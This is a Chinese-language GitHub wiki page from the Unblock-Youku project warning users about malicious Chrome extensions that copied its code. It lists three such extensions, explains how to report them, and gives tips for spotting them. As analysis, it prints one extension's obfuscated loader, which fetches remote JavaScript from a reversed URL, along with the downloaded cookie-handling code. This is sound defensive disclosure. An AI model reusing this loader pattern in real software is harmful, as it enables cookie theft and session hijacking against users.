Skip to content

恶意扩展程序列表及甄别办法

zhuzhuor edited this page Apr 8, 2013 · 8 revisions

本文短链接为:http://ub.uku.im/malicious

Unblock-Youku 扩展本身是免费供大家使用,源代码也是在 AGPLv3 协议下开源,欢迎牛人为大家贡献代码。如果有别的项目想使用我们的开源代码也是欢迎的,只要遵守 AGPLv3 协议即可。

之前就注意到有个别几个在我们程序的基础上加上恶意的代码的恶意扩展程序。特别是最近一个有超过一百万粉丝的微薄大V帐号无意间给其中一个恶意扩展程序宣传了下…(联络过此微博的小编,现在原微博已经删除了。)

鉴于之前一个扩展程序开发者 @OpenGG 就是因为恶意扩展的原因不得不放弃(他的博客文章:我很愤怒理想是如何失去的你们该怎么办),于是觉得还是稍微出来说说比较好,让不了解技术的同学都能明白这其中的危害,以及以后选择安装扩展程序或app的时候都能小心一些。

另外本页的最后会介绍一些简单的甄别恶意扩展的办法,以及如何向 Google 举报这些恶意扩展的办法。

恶意扩展不完全列表

此为不完整列表,并不时更新。另外还可以参看别人整理的一些别的 恶意扩展列表1恶意扩展列表2

1. 优酷海外版

扩展程序链接:https://chrome.google.com/webstore/detail/fmakoabecaggdofhohcdjiaifnkmpldj

恶意源码存档:https://github.com/zhuzhuor/malicious-chrome-extensions/tree/master/fmakoabecaggdofhohcdjiaifnkmpldj

这个扩展的大部分源代码都是从旧版的 Unblock-Youku 而来,不过增加了自己的 background.js 等文件。

在 background.js 文件中会向服务器 http://chrome.5ihaitao.com 请求一个 log.js 文件。扩展作者就可以向这个 log.js 文件放入任意恶意代码。

function chk() {
    var a = new XMLHttpRequest;
    a.onreadystatechange = function () {
        4 == a.readyState && (localStorage.updated = a.responseText)
    };
    a.open("GET", "sj.gol/gol/moc.oatiahi5.emorhc//:ptth".split("").reverse().join(""), !0);
    a.send(null)
}

下载下来的 log.js 文件里,有获取和修改用户的 Cookies 的代码。

function getCookie(c_name) {
    if (document.cookie.length > 0) {
        c_start = document.cookie.indexOf(c_name + '=');
        if (c_start != -1) {
            c_start = c_start + c_name.length + 1;
            c_end = document.cookie.indexOf(';', c_start);
            if (c_end == -1) {
                c_end = document.cookie.length
            }
            return unescape(document.cookie.substring(c_start, c_end))
        }
    }
    return ''
};

function setCookie(c_name, value, expiredays, path, domain, secure) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + expiredays);
    document.cookie = c_name + '=' + escape(value) + ((expiredays == null) ? '' : ';expires=' + exdate.toGMTString()) + (path ? ';path=' + path : '') + (domain ? ';domain=' + domain : '') + (secure ? ';secure' : '')
};

当恶意扩展作者得到用户的 Cookies 之后就可以不需要密码地登入用户的邮箱、社交网络、甚至银行帐户,导致隐私泄漏甚至财产损失。

以下内容摘自 Wikipedia

If a website uses cookies as session identifiers, attackers can impersonate users’ requests by stealing a full set of victims’ cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim’s requests; thus the request is performed on behalf of the victim’s session.

最后说点题外话,那个域名 5ihaitao.com 有做过 ICP 备案,其实可以在工信部的网站上查到恶意扩展作者的真实姓名...

2. 优酷海外版(同名扩展)

和上面同名的还有另外一个扩展程序。

扩展程序链接:https://chrome.google.com/webstore/detail/emmoddikhgncnaikamapbkggedoafomi

恶意源码存档:https://github.com/zhuzhuor/malicious-chrome-extensions/tree/master/emmoddikhgncnaikamapbkggedoafomi

和另外一个优酷海外版扩展的代码基本上一模一样,也是从 chrome.5ihaitao.com 请求 js 文件,猜测是同一个作者所为。

3. 优酷土豆海外播放

扩展程序链接:https://chrome.google.com/webstore/detail/aeocankoflefcaiabdkdjkenofcpjagb

恶意源码存档:https://github.com/zhuzhuor/malicious-chrome-extensions/tree/master/aeocankoflefcaiabdkdjkenofcpjagb

和优酷海外版代码也一样,猜测还为同一作者...

如何向 Google Chrome 团队举报

Chrome Web Store 现阶段还没有有效的阻止恶意扩展的办法,暂时只能靠用户来主动举报而采取处理。

另外因为 Google 工作人员有限,可能不能及时地处理举报信息。

**于是推荐大家见到恶意扩展都主动去举报下,反馈多了也许才能引起重视。**举报恶意扩展的步骤:

1. 在每个扩展程序主页的详细介绍页面都有一个 Report Abuse 的链接

2. 填写表格向 Google 反馈

选项可以选择 This item contains malware or engages in harmful activity.

然后反馈的内容可以酌情填写,例如 It downloads a malicious javascript code from a remote server which steals and modifies users' cookies.

甄别恶意扩展的常用办法

1. 要求不必要的权限

恶意扩展一般都要求一些跟功能无关的权限,用于其恶意行为。

下面为 Unblock-Youku 本身的权限和恶意扩展的权限对比:

Unblock-Youku

恶意扩展程序

2. 制作粗糙

恶意扩展的制作都比较粗糙,没有完善的图标和介绍说明等。

3. 冒充官方帐号或者程序名称

一般冒充官方程序名称的(例如优酷海外版),或者开发者冒充官方帐户的,程序基本上都是有问题的。

Google 官方的扩展程序

冒充 Google 的恶意程序

4. 用户人数差别

原版的安全的扩展程序一般用户都要比恶意扩展程序多一些,因为原版扩展的存在时间更久,并且了解技术的用户也会主动选择。所以选择用户人数多的扩展程序一般都不会有问题。

Unblock-Youku 和恶意扩展程序的活跃用户数对比:

5. 查看用户评论

强烈推荐安装扩展程序之前浏览一下现有用户的评论,特别是 Recent/最新 的评论。

不过有最近别的扩展遭受马甲或者水军的恶意评论,详见受害的开发者的原文

0xFF. 直接检查源码

以上的都是只看表面的办法,不保证完全靠谱。懂技术的同学可以直接检查扩展程序的源代码。

查看在 Chrome 后台运行的扩展程序的源码可以访问 chrome://extensions 页面,勾选上 Dev mode,然后点击相应扩展程序的 Inspect views 后面的链接就可以看到源码了。

想不安装扩展程序而直接检查源码的话,可以利用一些工具,例如 http://crx.zhuzhu.org,下载 crx 安装文件至本地,然后 unzip 解压缩就可以直接看到所有的源代码了。